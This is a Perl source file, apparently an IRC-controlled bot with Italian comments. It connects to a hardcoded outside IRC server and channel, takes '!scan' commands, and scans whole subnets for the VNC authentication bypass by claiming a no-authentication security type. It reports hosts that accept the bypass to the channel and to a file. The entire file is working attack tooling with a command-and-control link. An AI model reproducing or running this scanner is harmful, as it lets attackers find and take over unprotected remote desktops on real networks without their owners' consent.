#!/usr/bin/perl
# IRC Scanner - VNC VULN SCAN
# by Nexen && CrashOveriDe
# Multi-threaded scan for OpenVNC 4.11 authentication bypass.
# Based on Tyler Krpata's Perl scanning code.
#piglio le librerie
use IO::Socket;
use IO::Socket::INET;
use threads;
use threads::shared;
use Errno qw(EAGAIN);
use strict;
use warnings;
my $line;
my $vulnerabili;
#definisco alcune var
our @results : shared;
our $todo = 0;
our $contatore = 0;
my $orig_thread = "yes";
my $start;
my $end;
my $time_estimate;
my $elapsed = time;
my $out_file;
++$|; # To watch as the results come in, in real time.
#variabili di configurazione
use constant VNC_PORT => 5900;
my $splits = 5; # Creates 2^N processes.
my $avg_time = 5; # Tweak this to get better time estimates.
our $subnet;
my $server="93.174.0.37"; # irc server
my $porta="7000"; # port
my $nick="[Scan|VNC]";# nick
my $canale="#xp"; # canale
#mi connetto a irc
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);
print $sk "PASS mawhaha\r\n";
print $sk "NICK $nick\r\n";
print $sk "USER vncscan_bot 8 * : nexen : priv8 : crash_overide :unknown\r\n";
print $sk "JOIN $canale\r\n";
printa(" 4,1 9Priv8 VNC SCANNER --- by 4CrashOveriDe & Nexen 9 -- Priv8!! Priv8!! Priv8!! -- !! \r\n");
printa(" 4,1 9Priv8 VNC SCANNER --- For scan use 4!scan range 9 [ex 1.1.1.*]-- Priv8!! Priv8!! Priv8!! -- !! \r\n");
#PRENDO I MESSAGGI
while($line = <$sk>){
$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/) ######## PING REPLY
{
print $sk "PONG :$1";
} ############################ END PING REPLY
if ($line=~ /!scan (.+)/)
{
$subnet = $1;
if ($subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/) {
# Put the subnet in the form x.y.z. so we can just concatenate the hostnum.
$subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
$subnet .= ".";
$out_file = "VNC_" . $subnet . "txt";
# Mostly a guesstimate
$time_estimate = $avg_time * (256 / (2**$splits));
$time_estimate = int ($time_estimate / 60);
$time_estimate += 4;
printa(" 4,1 9Scanning subnet ${subnet}x -- this should take approximately $time_estimate minute(s). \n");
printa(" 4,1 9[!] = Vulnerable, [*] = Safe, [.] = No response. ");
CHECK: {
unless ($splits >= 0 && $splits <= 8) {
die "ERROR: Do not split $splits times--that makes no sense.\n";
}
unless ($splits <= 5) {
warn "Reduce the number of splits from $splits to 5 or less if you
get memory errors.\n\n";
}
}
# Ugly, but this works.
DivideWork() if $splits >= 1;
DivideWork() if $splits >= 2;
DivideWork() if $splits >= 3;
DivideWork() if $splits >= 4;
DivideWork() if $splits >= 5;
DivideWork() if $splits >= 6;
DivideWork() if $splits >= 7;
DivideWork() if $splits >= 8;
# Which IPs this thread scans.
$start = $todo << (8 - $splits);
$end = $start + (256 / (2**$splits)) - 1;
foreach ($start .. $end) {
Scan_VNC($_);
}
wait until $?; # Wait for children to finish.
exit unless $orig_thread eq "yes";
# Only the original parent thread will continue.
$elapsed = time - $elapsed;
$elapsed /= 60;
$elapsed = int $elapsed;
printa(" 4,1 9Finished scanning ${subnet}x in $elapsed minute(s). ");
$vulnerabili=SaveData();
printa(" 4,1 9Trovate TOTALI $vulnerabili VNCS ");
} else {
printa(" 4,1 9Non e la sintassi giusta lamah. Inserisci qualcosa come 192.168.1.* ");
}
}
}
####################################
sub DivideWork {
my $pid;
FORK: {
$todo *= 2;
if ($pid = fork) {
# Parent
++$todo;
} elsif (defined $pid) {
# Child
$orig_thread = "no";
} elsif ($! == EAGAIN) {
# Recoverable forking error.
sleep 7;
redo FORK;
} else {
# Unable to fork.
printa("Unable to fork: $!\n");
}
}
}
sub SaveData {
my $vulns = 0;
open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!";
foreach my $IP (1..254) {
my $record;
$record = $results[$IP];
unless ($record =~ /not vulnerable/) {
++$vulns;
print FOUND $record;
}
}
print FOUND "\nVulnerabilites found: $vulns";
close(FOUND) or die "Cannot close $out_file -- $!";
printa("Data saved to ${out_file}");
return $vulns;
}
sub Scan_VNC {
# Scan for OpenVNC 4.11 authentication bypass.
my $hostnum = shift;
my $host = $subnet . $hostnum;
my $sock;
my $proto_ver;
my $ignored;
my $auth_type;
my $sec_types;
my $vnc_data;
$host or printa("ERROR: no host passed to Scan_VNC.");
# The host numbers .0 and .255 are reserved; ignore them.
if ($hostnum <= 0 or $hostnum >= 255) { return; }
# Format things nicely--that crazy formula just adds spaces.
$results[$hostnum] = "$host";
$results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = ";
unless ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => VNC_PORT, Proto => 'tcp',)) {
$results[$hostnum] .= "Not vulnerable, no response.\n";
printa(".");
return;
}
# Negotiate protocol version.
$sock->read($proto_ver, 12);
print $sock $proto_ver;
# Get supported security types and ignore them.
$sock->read($sec_types, 1);
$sock->read($ignored, unpack('C', $sec_types));
# Claim that we only support no authentication.
print $sock "\x01";
# We should get "0000" back, indicating that they won't fall back to no authentication.
$sock->read($auth_type, 4);
if (unpack('I', $auth_type)) {
$results[$hostnum] .= "Not vulnerable, refused to support
authentication type.\n";
printa("*");
close($sock);
return;
}
# Client initialize.
print $sock "\x01";
# If the server starts sending data, we're in.
$sock->read($vnc_data, 4);
if (unpack('I', $vnc_data)) {
$results[$hostnum] .= "VULNERABLE! $proto_ver\n";
printa("! $host$hostnum VULNERABLE");
} else {
$results[$hostnum] .= "Not vulnerable, did not send data.\n";
printa("*");
}
close($sock);
return;
}
sub printa {
print "PRIVMSG $canale : ".$_[0]."\r\n";
}